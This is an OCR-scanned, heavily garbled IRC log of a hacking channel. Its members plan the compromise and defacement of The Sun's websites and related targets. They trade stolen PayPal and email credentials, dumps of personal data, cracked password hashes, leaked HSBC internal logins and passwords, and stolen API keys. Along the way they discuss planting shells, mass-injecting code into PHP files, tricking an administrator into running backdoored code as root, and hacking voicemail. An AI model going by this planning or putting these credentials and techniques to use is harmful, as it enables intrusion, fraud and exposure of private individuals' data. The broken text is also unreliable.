characters 
12:07 < 
12:07 < 
12:08 < . 
offshore" 



sorry 
its kinda a 

ty anyway bro :> 
just buying 



hastle with tor nodes being vlined 

myself a perfect privacy VPN now :F 




now 



why do people have paypal accounts without CC's! 
i demand mOOney for perfect-privacy vpn and a nice shell to 

stuf 

n do funy stuffz with 
also for outfit 
I'm just going through a list of email : passwords > 8 

looking for paypal s to buy perfect privicy with 
:d 

if you find a rich bitch be sure to order two and a lil vps 
: P 

ha I want an outfit too! 
That too 
but 
yknow 

thats a lil more expensive :p 
cheap set is still $125 
bol 1 i X 

if you go for the real silk/kashmi r/woolen set its about 

So if you get rupert murdochs paypal 
feel free 

to get some outfits too 

:p 
lol 

we are currently performing regular maintenance of our 

security measures. Your account has been randomly selected for this maintenance, 
and you will now be taken through a series of identity verification pages. 

Protecting the security of your PayPal account is our primary 

apologize for any inconvenience this may cause, 
damn 
oh 

but that should do doable 
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12:10 < 

12:11 < 

"change your password" 
12:11 < 
of tea 



# lsunnydays.log 
generally i only get "insert some random characters" and 



Well i await my p-p account and vps 




;) brb getting a cup 



paypal account with money on 



12:27 < 
12:29 < 
12:30 < 
tor exit 



different country 

has quit [Client exited] 
has joined #!sunnydays 
ChanServ 

84'e78e68.ip] has joined #!sunnydays 
by ChanServ 

exit node and got another account 
specific country or no tor ip but you have a 
could prob do the order process 





since im behind a vpn already 
its ok 

_ all the logins are from the same country, so i just forced a 
that country 
bought ! 

do u need a vpn? 
]ust bought one, thanks 




have been asking if you guys had a vpn for ages! 

ok guys if someday u root your ex gf box and u want to route the 



connection and need a vpn to add a sec layer on that without spend money 
you can use the vpn from Iranian green movement 
_ well 

currently used by iranian dissidents and Syrians 

just pass a list of potential paypal accts 

vpnl.opi ran.com 
freedom: freedom 
pptp 

use it just to save the day 
hey guise r u around? 

Hi 

Ya, I'm here 

oh ok 

well i called some friends to test the i tunes codes 
the MMxxxxxx serie 
at least 
doesnt work 
UK friends? 

yep 

they got something like 
'its not a valid code' 
if u have some mix of diff series 
give me them so i can get them tested today 
or lets assume they r all not anymore valid 

HAHAHA 

Oh lol 

make extra new gmail account 
get suspicious activity notice 
need to verify location by phone number 
give them gvoice phone number 
>done 

has joined #!sunnydays 
isunnydays L+o by ChanServ 



iart .org/ <- worth hacking it? 
what s that? 

""Dallas Area Rapid Transit (dart) gets you around 13 cities with 

bus, paratransit, HOV lanes and rideshare services, we serve DFW 
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international 
13:38 < 
13:38 < 
13:48 < 
13:48 < 
13:50 H 

timeou^n 

13:52 < 
14:16 

#! sunny^ays 





#! sunnydays .log 
Airport and Fort Worth via the Trinity Railway Express" 
m 

just stumbled over it 
yep why not 

anyone has tested freebsd 9? 

4B27001E.B8C70A02.3978755B.IP] has quit [Ping 

i prefer linux aa 

4B27001E.B8C70A02. 3978755b. IP] has joined 



14:16 
14:16 
14:19 
14:20 
14:20 
14:29 
14:36 
14:48 



mod 




e/#! sunnydays [+o 
well fuck. 

7 

crashity crash 
np 

ah ok 



^Habu> 

14:49 <(asabu> 
14:49 <@Sabu> 
15:26 
15:26 



yo 



16:57 <' 
16:58 < 
16:58 < 
16:58 < 
16:58 < 
16:58 < 
17:00 <' 



by Chanserv 

has quit [input/output error] 

has joined #! sunnydays 
sunnydays L+o by ChanServ 

hi Sab 
Sabu 

get the updates on the hashes 

is sabu here? 

i made a list with hashes to crack 
45 keft 
*left 

they are in the format md5($username. Spassword) 
ok 

he was here looking for you a few minutes ago 

i just crashed my pc aa 

has joined #! sunnydays 



sunnydays L+o 
greetings gent leto 





y ChanServ 




has joined #! sunnydays 
+qo ^^^^^^^^H by ChanServ 



hey 

whats new? 

PRIMARY KEY ('code_id), 

UNIQUE KEY ' code_week_i d ~ ('code_week_id' , 'code_str') , 
KEY ~code_week_id_2 ' ('code_week_id') , 
KEY ~code_str' (~code_str') 
ok that should be the problem 
code are useful just at determinated dates 
codes'- 

nothing new, brb for about 4 hours - reinstalling os 
lol 

lol 

(that "nothing new" as a reply to 

so we can use this i tunes codes just in a specific timeframe, | 

i will work there 

and also looking at the dumps of all 
could be bank info and SSN 

okay 

see you later 
good luck man 

(5 , 79 , '^^^^^^^^^^^^^^^^^^^^^^^^H 

^^^^^^^ 
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#! sunnydays .log 
has quit [Ping timeout] 

oh my goc 

its a huge db with personal info 
from where? 

the less ambicious thing possible to do, its a massive pizza 
attack to the whole uk 
lol 

u have all there 

tel phone zip codes personal address 

again, from where? 
thesun 
oh heh? 

hmm customer db? subscriptions? 
if someone of u enlight me how a uk SSN looks like 
why are they keeping all this data., like bi rthdate etc.. 
i could find them probably 

■1^^^^107958948177' ,1128885930, « wonder what those are 
pnon^^^^^^ 

oh k 

phones number london 

so, looks like a subscriber db? 
the last one idontknow 
how many entries? 
15,000? 

wow .. hmm but that wouldnt be subscribers then 
any clues what that db actually is? 
ok 

first one its personal home phone 
second one mobile 
the last one i dont know 
i'm always wondering., if they are allowed to store such data, 
guess in the UK you can store anything or so 
no 

ave to look at the table structure on the head 
they probably data protection regulations 

omg 

u have all info needed in uk to do whatever 
well if they do, that may be an angle alone, 
hmm lets all move to uk and buy a boat there then 
in london u dont need to disclose so many things to do lots of 

tradition lets say 

^^^^^^1 talked with sabu yesterday 
just some personal info is enough for many things 
we need to get this wrapped up soon 
62ddObd92bf4fafae73c531ee51C 
bl96a64916f7435a8e4366911f8e 
9afca7922f0d9fl626169bd8b9bJ 
yar i know 
i will work on the dump 
uge 

they are the 3 executives that got arrested 
didnt get anywhere with the email s/pw 
i m using the backup dump of all databases done by the root 
tried 15-20 or so ... none werky on email login 
ok 

at~13 07 2011 
tried both newsint and gmail 

was there a domain? 

newsint had an exchange login 

I wonder do they have a strict email policy? 

remotemai 1 . newsi nt . co . uk/cooki eAuth . dl 1 ?GetLogon?cu rl =Z2 Fowa&reason=0&f o r 

code is this: 








do u know what kind of hash or 

j gxovhf pi pnputnwu i bdbdzi txhf qv j a 
17:13 <^|^^^^H thats no hash 
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# lsunnydays.log 
was gonna say, that looks funny 
ah its one entry in the db 
well all ppl there has one like that 

I can think of no algorithm thatll make the hash look like 
just characters 
vh rnh j hmarpgdnwdkcwj gzwbi 1 bvneci 
yea 
custom one? 
maybe it's more like a key 
for whatever 
agreed 
oh god lol 
look this 

(466,40, '^^^m^^^^^^^^^^^^^^^^^^^^m 



17:16 
17:16 
17:16 
17:16 



rxdortrupeniao^^m^Tpoqeym I ng 



I, 'N' , 'N' , 'N' , 'N' , 'N' , 'V , 'N' 





Could be a random generated key 
lives very very well 

or just a very bad jscript snippet or whatever 
to encrypt something 
we have many gov officials there 

Care to upload that db? 
:D 

easier to get it directly 

dump and upload that db? 

use the shell 
go to /root/backup 
take it 
enjoy it 

ill fetch us a backup of it 
size 

6.78 or something like that 

mb 

really quick 
decompressed 24mb 

yup 

^^m^l ok keep it please, i cant fetch anything atm 
stoo^^netbook 

there is like 15,000 rows 

and damn shell, that died, 

maybe arew less 

server admin made dumps of all db there 

hm we still cant deface i assume? 

extras . ti mesonl i ne . co . uk_cache_pre_cache_f i 1 e_20090109 <- 



( 



not unless we get root 
i feared that :/ 
maybe the sun, but thats it 
there has to be a way! 

C7ddbe61.ee24de46.84e78e68.ip] has quit [Ping timeout] 

or me there are no DBS in /root/backup/ 

i need to change locations., if you need anything msg me oi 

dont have this ire screened 

bbiab 

has quit [user quit: ARMAGEDDON!] 

pastee.org/v9bk2 #antisec 
106/131 hashes cracked using just a dictionary 
80% from a dictionary must be a record 

has joined #!sunnydays 

!sunnydays L+qo ^^^^^^^^^H by ChanServ 

[^^™AFlC6BF7^1g7TOb5Ts7E78E68.IP] has joined #!sunnydays 
#!sLmnyaays [+o ^^^B by ChanServ 

[^^^^^^^^^^^^^^^^^^^^B has 

oV 





ok 
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;54 




18; 


;54 


<i 


18; 


;59 




19; 


;15 




19; 


;15 




19; 


;15 


<^ 


19; 


;16 


<@ 


19; 


;16 


<@ 


19; 


;17 


<^ 


19; 


;17 


<@ 


19; 


;17 


<^ 


19; 


;20 


<^ 


19; 


;20 


<@ 


i n 


Pitts 


19; 


;41 


<@ 


19; 


;41 


<@ 


19; 


;41 


<@ 


19; 


;41 


<^ 


19; 


;42 


<@ 


19; 


;43 


<@ 


19; 


;43 


<@, 


19; 


;43 


<@ 


banner: 



# lsunnydays.log 
https://pastee.org/inamge password: antisBc 

A the truth about the iTunes Codes 
so lets forget about the giveaways 

has joined #!sunnydays 
by Chanserv 



mode/*! sunnydays 
back 

i l^^^post for u 

https://pastee.org/mamge password 
A the truth about the iTunes Codes 
"nice format :D -reading 



anti s3c 



ah okay 

can anyone find information on: 



Genix Group incorporated (located 



Gemx Group 
4920 Campbells Run Rd 
Pittsburgh, PA 15205 
412-788-6880 
198.49.241.* < genix 
"yeah, i need to know what they do 
http: //www.genixventures . com/?i ndex 

Genix brings a unique set of skills together under a single 
a combination of management consulting, risk management, process 

project and IT service experts come together to provide advanced 
and com prehens ive solutions that improve business performance. 
19:43 <^^^^| we provide a range of software solutions and professional services 
to our clients and work in partnership with domain experts to develop software 
product s that leverage our suite of process automation technologies 
19:43 <<S^g^M Our team is called upon by government, banking, financial 
services, utTTities, telecommunications, transport, technology, defence, and life 
sciences industries to develop and deliver software solutions, management 
consulting projects and commercialisation partnerships. 



optimization, 



19:44 



'The Genix consulting team has extensive experience in consulting 



and operational roles for government," 
>government 

thats what i wanted to know :D 
thx 

process automation mainly 

Manage any enterprise lifecycle 

Embed rules, standards, governance & internal controls 
Define & change business processes in-house 
Assign & alert staff to work requirements 
Trigger required activities & link related documents 
Deliver timely & targeted information to interested parties 
Secure global transactions 

Drive complex processes & hierarchy management 
Identify, analyse & route business events, issues & exceptions 
integrate devices & remotely monitor events 
version control, share & store multi-format documents & data 
Facilitate procurement, distribution & inventory tracking 
Audit approvals, activities, costs & changes down to field 

Monitor cash flow & schedule status 
Monitor staff, asset & supplier performance 
Monitor risk exposure & simulate management models and 
Trace regulatory compliance requirements 
also there s something quite interesting 
we have lots of mails from ppl ... 
snitchi ng 

snitching and buzzing to the sun 
"i ndeed 

'Ray Quinn was booked through agency, to sing at my sister in laws 
50th Birthday celebration party, couple months before x Factor' 
19:55 K^^^m XD 

has quit [Ping timeout] 
iat all dates are around 2005-2006 mainly 




19:55 < 



19:56 



19:58 
19:59 











S 




<<& 




2007 



has joined #! sunnydays 
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19:59 
20:03 
21:01 _ 
#! sunny 
21:01 
21:01 
21:01 
21:05 
21:05 
21:06 
21:06 
21:07 
21:07 
21:08 
21:08 
good 



mode/# ! sunnydays [+qo 

er^^AAUBC 

[+0 



#! sunnydays .log 

by Chanserv 




ays 

mode/#! sunnydays 
wb 
thx 





sunnydays L+o 
Hi everyone 
woo! VPN's are 



Congrats 
did u save 
haha, 



good ! 



e 1 ram an vpn 
never got around 



_ as quit [Ping timeout] 
1 al up . adsl . ante! data . net . uy] has j oi ned 

Chanserv 



has joined #! sunnydays 
y Chanserv 



access just in case also? 

to it untill today, perfect-privacy is 




many shits 



Yep, I have that too 
Thanks! 

perfect-privacy is good isn't it?" 
Athi s 
good and expensive 

lol 

lol 

Grand! Dust checking 
esun release is finally for tomorrow? 
ok is it? 

is thesun for tomorrow? 
wnat do we have? 

ya what do we have? 

want to make one last attempt at rooting? 

by SEing? 

dump, and we can deface some pages 
mass inject the rest 
and trolls about the personal info 
and the ppl snitching records 

has quit [Ping timeout] 

Because we have everything we can find dumped 
I wonder could we fix the snitching thing to make it work 

have u downloaded the sql dump of all db there? 

https : //pastee . org/v9bk2 #anti sec 
106/131 hashes cracked using just a dictionary 
80% from a dictionary must be a record 

^ yes, 

round the personal info recorded there and the ppl snitching 

ie most interesting part 

ya me too 
]^y the itunes codes will not work 
old and for a promo already closed long time 
I had a feeling the wouldn't unfortunatly , where you just 
dumps for the snitching stuff? 
Or the website? 
web interface 
just the dump 
ook 
ok 

still trying to fix up the web interface 
http : //204 . 188 . 229 . 37/sun/sun/basedi r/i ndex . php 
^ mirror of it 

think now we know itunes codes is not working and after trying 






sq 




If only we could leak some mails 

and deface the main sites 

we should go all together divide the work 
and yes 

deface all we found there 

find* 

[^^^^^^^^^^^^^^^■■^^^1 has joined #! sunnydays 
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mode/#! sunnydays [+o 
Hi 





a promo back to 2005 
5 songs 



the 



# lsunnydays.log 

by Chanserv 



howdy 

didn't notice this server disconnected 

anything new? 

B the i tunes codes will not work 
ley r from 
_ lame 

each one served for 
ya kinda shit 

so we have to decide how continue this 
is tomorrow the release date? 
what have we got so far? 
in terms of defacing/redirection/roots 
1 think each of us can get one shell there and deface and mess all 
same time 

then we have tons of personal info from the dump 
^ oh what, Sun? 

and we have all the snitching ppl thingy 
yep the sun 

can we deface the homepage? (not just redirect) 
I have been behind 

^ No we still have no direct access to the main sun server 
im ■ 

theres something funny to do also 

http ://204 . 188 . 229 . 37/sun/sun/basedi r/ 
we have a mirror of their tipsters system 
we cracked 106/130 hashes but they were all 
't get us access to any emails 
back to some years ago 

they tried some site and then they forget about 
http: //www. new-times. co.uk/ 
we could make our own newspaper there 

okay cool, so what's the maximum we can do, rape their 
site/backdoor shells, can we deface subdomains/add pages? 
yup 

looks like it 

I still think the sun homepage redirect 'might' work 
_ it just needs to be tried to find out for sure 
find funny to publish also a well made news edition using their 
Times site: http://www.new-times.co.uk/ 

has quit [Ping timeout] 

DO you think "we should give one go to try and trick the admin 

to running some backdoored code as root? 

21:32 ^P^B [^kerpia-49E3El71. gigabit. perfect-privacy. com] has joined 
nyaa\ 






very easy 



it 



the 




#! sunnydays 




by Chanserv 



mode/#! sunnydays [+o 

That would be very funny ^^^^ 

check ^^H^^l there 
last tim^v^iad all access there 
who owns that? 

we could use that 'The Times' head logo 

DO we still have access? 
promote 

i put a shell there 
wait 

http : //www. new-ti mes . co . uk/utf 8 . php 
oh thats on the same server 
sorry lol, don't know what I was thinking 
we code mass inject the beginning of each php file with a 

then anywhere the extra is loaded they will get pwned! 



1 I I suggest to promote all we have done (including a comic 

section) looking as a newspaper under the new-ti mes. co.uk address belonging to 
murdock 
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the cracked hashes ? 



21:38 
21:38 
21:38 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:39 
21:40 
21:40 
21:40 
salt! 
sometK 
21:42 
21:42 
21:42 
21:42 
21:42 
21:42 
21:42 
21:42 
21:43 
21:43 
21:43 
21:43 
21:43 
21:43 
21:43 
21:43 
21:44 
21:44 
21:44 
21:44 
21:44 
21:46 
21:46 
21:47 
21:47 
21:47 
too 
21:48 



#! sunnydays .log 

and all 
Hi Sabu 

give you 

ro 

not to me anyways 
Did you get the info about the format? 

<(asatDu> second 

<©Sabu> e44elc42655240d36a45d8940e629c4c 
<©Sabu> 46bacbl9fcfaal438c7b0632afb9671: 
<(asabu> 489cl56b017678974fcec0bcf927f2be 
<@Sabu> 75ffff90a5ecla42626d70ef32274b62| 
<@Sabu> 64304859c09eb77a0e8c43e8fedlal8t 
<@Sabu> f00b71e06d89db2482c609f77f58d6d2| 
<@Sabu> 97f9ca4el6f71e41cf35381a48498f4E 
<@Sabu> 79d67418fe54d64453466dcc93208a9e 
<@Sabu> f64ae33e655ba434dc29b805dc908a0c 
<@Sabu> af5fff6a5e454d6bal42044605c91b3: 
<(asabu> e8590ecOfOc8a03097fbdf9830e235ff 
<@Sabu> e9e917279d00df0aae0e82e89cb86951 
<@Sabu> 2f5d5adc587c062adf3e47853f60ea8^ 
<©Sabu> Ce0c5717ea93da786ce0c02f642e465( 
<@Sabu> a333b859c48f2c89105314f305dlf42« 
<@Sabu> 6ccfb21e04c7316281dl7900c84cdbc2 
<@Sabu> Cc6d2ba6fc460bf95c8446b4141339bc 
<@Sabu> 9508eeae298175eeea32d84c6757240: 
<@Sabu> e2f5f8723e23852acf206db828622d7i 
<@Sabu> 7e6cac951dc95c89f6d439b5bf3fb8d( 
<@Sabu> c2dd9570493530b3b5ae76cc95cl858C 
<(asabu> e9949525e41081db58e4f5b637de6dla 
<@Sabu> 3d72cdfb5880a8d79fa217133a51dfbi 
<(asabu> ba8dld9740ab78e5e7f3541f71a6bbdc 
<(asabu> 3dlb2f359ed615f 512823feda02dlfa^ 

<(asabu> 25cafcce0e7554e2c32b8424e467da0^ 

<@Sabu> ^^^g has it already 
<^^^ year^sorry sabu - they were salted 
<(aSaDu> doesnt matter now 
< ©Sabu> look at the above 

<(£H^^^^^ Ya they were salted, thats alot if you didn't 
^^^g we could put the redirect there, and mirror the sun 
1 ng 

<(&Sabu> I'll be back my brothers got some other razy news 
<@Sabu> crazy 
<@Sabu> good news 
^ D 

looking forward to hearing! 




know about the 
site or 




should have the dump 
sbc.mx bank owned and we got their internal files 

what dump? 

the big project is qatar royal family owned 



< 

<(^Sabu> 
<@Sabu> 
<@Sabu> 

<(asabu> but thats nothing 
<@Sabu> with petroleum SCADA 
<@Sabu> owned 
<©sabu> I been busy ;) 
awesome ! 
lol 

:D 

fantastic Sabu! 
gonna be busy 
^_ needs to wake 

yea 

[■kerpia-A87c441.perfect-privacy.com] has joined # I sunnydays 
hi 




up 



(aSabu> yo 








^^so 





your p-p thru already? 

;aged you the hsbc.mx leak yes? he send me the url 



<@Sabu> http : //www . mul ti upl oad . com/6: y88u8HLC 
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< @Sabu> 
<^|^^ 

<®Sabu> 
<@Sabu> 
<@Sabu> 

<@Sabu> 
<@Sabu> 
phone 




21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
for my 
21:49 
21:49 
21:49 
21:50 
21:50 
21:50 
21:50 
21:50 
21:50 
21:51 
21:51 
21:51 
21:51 
21:51 
21:51 
21:51 
21:51 
21:51 
21:52 
21:52 
21:52 
21:52 
21:52 
21:52 
21:52 
21:52 
21:52 
21:52 
21:53 
21:53 
thesun 
21:53 
21:53 
21:53 
21:54 
21:54 
21:54 
21:54 
21:54 
21:54 
21:54 
21:54 
21:54 
21:54 
21:54 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:56 
21:57 

21:57 

own newspaper 




# lsunnydays.log 

^hat one? 

_ nope, just checked my queries 
grab and analyze 
Its important 

that alone is a major leak 

one release on its own 

let me verify something I'll be back in 20 minutes buying minutes 

^^^g modes on #!sec kinda fucked up 
ooewiot matter imo 
but i reset them 

http : //www . mul ti upl oad . com/6 JY88U8HLC 
err 

01:53 < webAnon01301> I r 

01:53 < webAnon01301> one of theLulzSec six :P 
lulz 

:D 

should we kick him or let him have the fun? 

ok sabu 

heh no need for kicks i guess :p 

okay 

^^^H that seems legit :0 
n im gonna troll 
WHO IS IT 
raise hand please 

http : //www . mul ti upl oad . com/6JY88u8HLC 

VERY LEGIT! 

A cant read shit - going to use google translate 
yeah just looking at some of the stuff 
cool i will analyze that files 

those* 

^^^^B it came through about an hour ago 
miri^aDOUt 



3 hours ago 

wins. 

sabu ^^^H and 



u should say something about what to do on 



server 







so we can finish that thing before 

well iunno.. talked with sabu yesterday more in general 
yeah we should wrap this up soonishly somehow 
lets wait for sabu he said he's back in 290 
20 

he was here 
like 3min ago 
ah okay 20 he wrote 
Question is more 
hould read everything :> 
do you wanna SE/try sploit 
for root 
or 

stab with whatever we ahve 

main problem is if the server crash again 
risk loosing all access to deface 
n problem we dont even have any exploits left 

imo 

SALIDA DE estimados de HSBC Pagina Thomson one Analytics.xls 
and the shells 
looks interesting 
altough 

we have ar^aentical server 
wich we can test exploits on 
ok 

we can deface sun without root possibly, tho? 
many pages were changed to root 

we have control on the new-times. co.uk, i suggested to publish ou 
there 
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21:57 < 
21:58 < 
21:59 H _ 
#! sunnyoays 
21:59 <" 




22:00 
22:00 
22:00 
22:00 
22:00 





22:03 
22:03 
22:04 
22:04 




22:05 < 
22:05 < 
22:05 < 
22:05 
22:05 
22:05 
22:05 
22:05 
22:05 
22:05 
22:06 
22:06 < 
22:06 < 
22:06 < 
22:07 < 
22:07 < 




#! sunnydays.log 
possibly ^^^g 

and redi re^^every thing else we can, to there 

kerpia-2198c9F4. a. nig. drive-by. on. i rcop. St] has joined 



0 1 :D 

uess wht :D? 

_ \o/ 
yer home? 

D/ im hoooooooooooooooooooome 
/#!sunnydays [+o by 
knew it! D: 
d you guess xD 
<3 B 

Telepathy, 
ack magic, 
polied my suprise ;_; 

1 <3 
dances""' 
D 

you're just in time btw 
n time or on time :D? 
hats new :D? 

Nuevos Password Datastream.txt 
puts a bottle of champagne on the fridge and search for ice to 
rfect frappe state 
_ hi H <-3 

in! 

gonna check this, ^^^g 

seems two generate^passwords 
but no idea what for 
Asame here 
3 

pos^^ly some internal login 
o whats going on? 

a3a72335.b1f9466.6aad497F.IP] has joined 

4b2700 1e.b8C70a02 . 3978755B.IP] has quit [NickServ 

used W^^l^^HH)] 
wait i iTscptnezip to work better 
mhh not so much for me today, busy all day with ITL shit 
is now known as 



damnit. 

who's sin on #antisec 
it's sin. just ignore her :p 

okay 

oh i kbed her already ill just remove her access temp and kb 

ng to read the channel 

and her spam is all the output 

so its okay to kb herP 
hehe sure., fine with me 

sure but you gotta remove her access 
ut prepare to get whined at fromm all kinds of persons 
otherwise she can remove the ban 
nah 

when i did it just 5 minutes ago 

ol what am i in time for :o 
they were like 
THANKS 

ol 

she's kinda mini-^^^^^B or so 
ah ^^^^ 

https : //www . research . hsbc . com/i bcom/out/i bcom/i nternal /I ogi n 
lets see of these logins work :x 
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22:07 
22:07 
22:08 
22:08 



#! sunnydays .log 
'ZHSB634' has not been recognised as a valid Username. 
meh 

Pol wtf a bank? 

a bank. 

_ evil bank 
you hacked a bank? 

A 

:S 

yes we have some data 
"someone did it for the lulz, surely 
it came from somewhere... :p 

not sure yet if the data as such is worth much... still looking 

half of it is Spanish though 
for teh lulz or profit 

small textfiles that contain stuff like 
22211-2322 

^^^^^^^^^^^^^^^^^^ 

hmm 

could that be. . . 
i 11 check on the next hours 
■^^^^H^^g has joined #! sunnydays 
^^unnyaay^^^ by ChanServ 

ohai guys :D what'^tne status? 

A 

dont even know whats going off :S 

i have the database for that site 
if you want it 
just for lulz 
elaysmith.com 

no real progress on sun i think., thinking on what to do 

next there now 

22:14 <^^^^H waiting for sabu he should actually be back now... 
22:14 < g^^B >sab u 

22:15 <^^^^^^^H maybe we could do it tuesday morning GMT? 

22:15 <^^H^^^| Murdock and news int have big meetings and questions to answer 
in front of the UK parliment 

it would just fuck him over a bit more 

heh, good idea 

and it gives us tomorrow to sort everything out 

and maybe trick the admin into giving us root 

just chilling at the lounge here. :D Tuesday is too late for 




22:15 < 
22:15 < 
22:16 < 
22:16 < 
22:16 < 

MurdochMayhemMonday aa 




22:16 
22:16 




yup 

TimesT. . .Tuesday ? 
Tabloid works with T 
:D 

Tabl oi dTakedownTuesday 

hmm takedown was used 
doesnt really fit either i think 

ok 

TabloidTortureTuesday 

TabloidTerrorTuesday sounds weird 
esc's is better :) 

it sound s like something the tabloids would say 
ya sounds good 

i write a newspaper site for that new-times . co. uk? 

sure 



think 



has some fake stuff as well, but his story 



wouldnt work good if rupert is at a press conference the same time :) 



22:19 < 



lots of the files just contain one url . . but they look 



interesting, seem to be logins 

22:19 < ^^^^B the whole dataset seems a bit weird 
22:20 < jjjjUlgl and internal URLs as well.. 
http://secnysieb03.us.hsbc/fins_enu/start.swe? the fu? 
22:20 <V^^| http://start.systems.uk.hsbc/Prod/auth/login.aspx 
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22:20 
22:20 
22:21 
22:21 
22:21 
22:21 
22:22 
22:22 




22:26 
22:26 
22:26 
22:26 
22:26 
22:27 
22:27 
22:27 
22:27 
22:27 



22:28 
22:28 
22:28 
22:28 
22:28 
22:28 
/usr/1 
22:29 
22:29 
22:29 
22:29 
22:29 
22:29 
22:29 
22:29 
22:29 



#! sunnydays .log 

yaup seen that one 

http://i .imgur.com/xfBWg. jpg 

Athis 

but the font does not fit imo 
but looks awsome 

http : //i . i mgu r . com/FBtBc . j pg 
okay I'm asking him to do one without text 

to compare 

hmm but under the title of 'Bloomberg info' N4842ZD97075319 
164.61.115.38 

well, after first look this doesnt look likes a release., but 

ion to get in further/elsewhere possibly 

there are some xls that contain numbers .. but it's only a few 
i mean like financial numbers one can put in context 
we have to put that information in context to give it a value 
164.61.115.38 <- whats this ip? 

SALIDA DE estimados de HSBC Pagina Thomson one Analytics.xls is 

y doc that looks interesting as such 

http ://i .imgur.com/OYfAb. jpg (no text) 

epi c ! 

IBM Lotus instant Messaging server: 
mx-stme-02 .mx. hsbc 
i ntranet 
164.61.115.38 ? 

indeed., i wonder how many ppl will have those tatoos.... 
ZHSB634 - Password ROBOT863 
: ZHSB636 - Password YOUNG719 
ley dont work on that login page 
too bad : p 

probably internal logins 
well sun 
MAC address (surely internal) 





a fecbook rss it seems, 
it 



hashes? 

se we might get in at least a few mail accounts 

root 10456 184 0 23:30:01 ? 0:00 sh -c 

n/wget -q -0 - http://extras.thesun.co.uk/tvbiz/facebook_rss 
whats that 

morning guise 
a job that gets 
can we manipulate 
hai ^^^g 

tnaff^vhat i'm thinking 
m the sh runs as root 

I wonder where that is called from 
exactly 

murdoch mayhem monday coming up? :D 

mm not bad 
i 1 i ke it 

we have the api keys and secret keys for that feed 

im off for a bit D: cya all later, setting some stuff up too to 
s :D 
oh yes 

we should deface their facebooks 
i could isolate the other keys 
i just sent you half of them ^ JH 

. 675A/ 



|A3A72335.BlF9466TbAAD497F.IP] has quit [input/output 

aye, you told me 

can you prepare something to deface? 
since i probably wont have time 

have you access to thei r facebooks? 
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#! sunnydays .log 
.just dropping in for 



some minutes :) 



1 ■ m on vacation . 
ah okayAA 

yeah we basically have access to their fbs 
via api 
hmm including mudoch's? 

would be ironic if we had murdocs cll phone number and we hacked his 



lol ! 

we have mobile numbers for some staff! 

Anyone got a VOIP and want to give it a go? 

would but my english sucks 



back 



is our VOIP expert :D 



do 



I think there is something you can 

straight to voicemail login 

tuesday murdoch and staff are holding a press 



22:44 < 

we thought 



22:44 
22:44 
22:44 
22:45 
22:46 
22:46 



Sabu, 

that may be a nice timing to release/deface 



so you can go 

conference. 





tsal 



they are being question by the british parliment 
ar or that 

soz 

sabu<3 
_ hi sabu 
)u> <3 

22:46 <@Sabu> KAYKAYKAVKAY 
22:46 <@Sabu> ^^^^ AGREED 

22:46 <|^^^^^| ^^^^^1 is the go-to man for the voicemai lings 

22:46 <@Sabu> also 

22:46 <@Sabu> did you analyze the hsbc shit? 
22:47 <^M^Mcant read :< 

22:48 < ^^^^1 Sabu, looked a bit thru it., all mixed information., 
probably lots of stuff thats only of worth inside their networks, i 
PDFs that look like potentially interesting as a public release (containing 
projections/costs planning etc) 



there ' s 
only found 2 



22:48 < 
anyway 

22:48 < 

phone) and 




cant read the docs., but most of written text is in Spanish 



22 
22 
22 

22 
22 
22 
22 
22 
22 



49 
49 
49 

50 
50 
50 
50 
50 
50 
http:// 
ml 

50 
50 
50 
50 
50 
50 
50 
50 
50 
50 
50 



22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 
22 



...wow. Some woman registered herself as an organ donor (by 

drove to the local hospital before committing suicide, 
not really sure yet 
I can read it 
at least she quit useful , 
IRL ^^^^B 
yes 

only have a dutch article here 
but I was... impressed, in a way 
It also contains lots of contact addresses etc.. but hm, i dunno 

rontpage.fok.nl /ni euws/453910/1/1/50/i k-wi 1 -graag-organen-doneren-pang . ht 

well dutch organs - who would want these? :P 
(ignore the childish title) 
err 

it was in the US 
lol 

That sounds strangly like desperate housewives 





not that 
news 



<@Sabu> 
51 <@Sabu> 
51 <@Sabu> 
51 < 



i watch it! 



______ owned mantech, the company hbgary was working with 

las emails etc 
wow? 
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22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:51 
22:52 
22:52 
22:52 
22:52 
22:52 
22:52 
22:52 
22:53 
22:53 
22:53 
22:53 
22:53 
22:53 
22:53 
22:53 
haha. 
22:53 
22:54 
22:54 
22:54 
22:54 
22:54 
22:54 
22:54 
22:54 
22:54 
22:55 
cry to 
conne 
22:55 
22:55 
22:56 
22:56 
<3 

22:57 

shoul 

22:57 

22:57 

22:57 

22:57 

22:57 

have 

22:57 

22:58 

22:58 

22:58 

22:58 

22:58 

22:58 

22:58 

22:59 

22:59 

22:59 

22:59 

22:59 



#! sunnydays .log 
yes i know mantech 
Jsabu>~the security comany 

i remember them from my reserach 
thats awesome! 
they are EVIL! 
:p 

just scanned mantech today 

but as i said, he didnt message me anything so far 
going to look at results later 
mantech so sexist ;_; 
lol 

nice Sabu 

where the womantech hhmm? hmmmmmmm? HMMMMMMMMMMMMM? 
what name would you suggest, 
i see 

woman and tech 
that does not fit :P 

duck- 
throws at 

+D 
=D* 

mortal combo 
throws her back 

< @Sabu> yo 

<@^^Mokay - back to topic 

< ^^^^1 Sabu, well yeah., thats major., especially if he has emails? 
we dont even need to find dirt, the dirt is on anonleaks.ch lol 
<@Sabu> he owned an employee at mantech 
<@Sabu> got the spools 
<@Sabu> and inet 

awesome., that would be a really really sweet release 
also it will scare palantir & engames & co 
YOU'RE STILL ON OUR LIST! 
haha 
haha 

AhaFia 

very nice! 

btw, guys, i will be setting up two other leafs tomorrow for 

onjassiem gives trouble again, you can (from tomorrow on) also 
ct to haless . cryto . net 
<|^^H^^H which will also be germany 

< g^B^ ^J (even though it seems the issues in germany are about over) 

<^^^5omg im not just some object you can trow at ppl ;_;p 

<^^^H if you really love me, the second leaf will be named ^^Hc ryto.net 






in other news, christian political 
and weed should be 100% illegal 



party saying all coffeshops 



1 just threw you back aa 
lol 

idk what I'm going to call the second leaf 

I promised to name a leaf after him if he wanted, so i 

im fi rst : P 
crytp 
cryto. net 

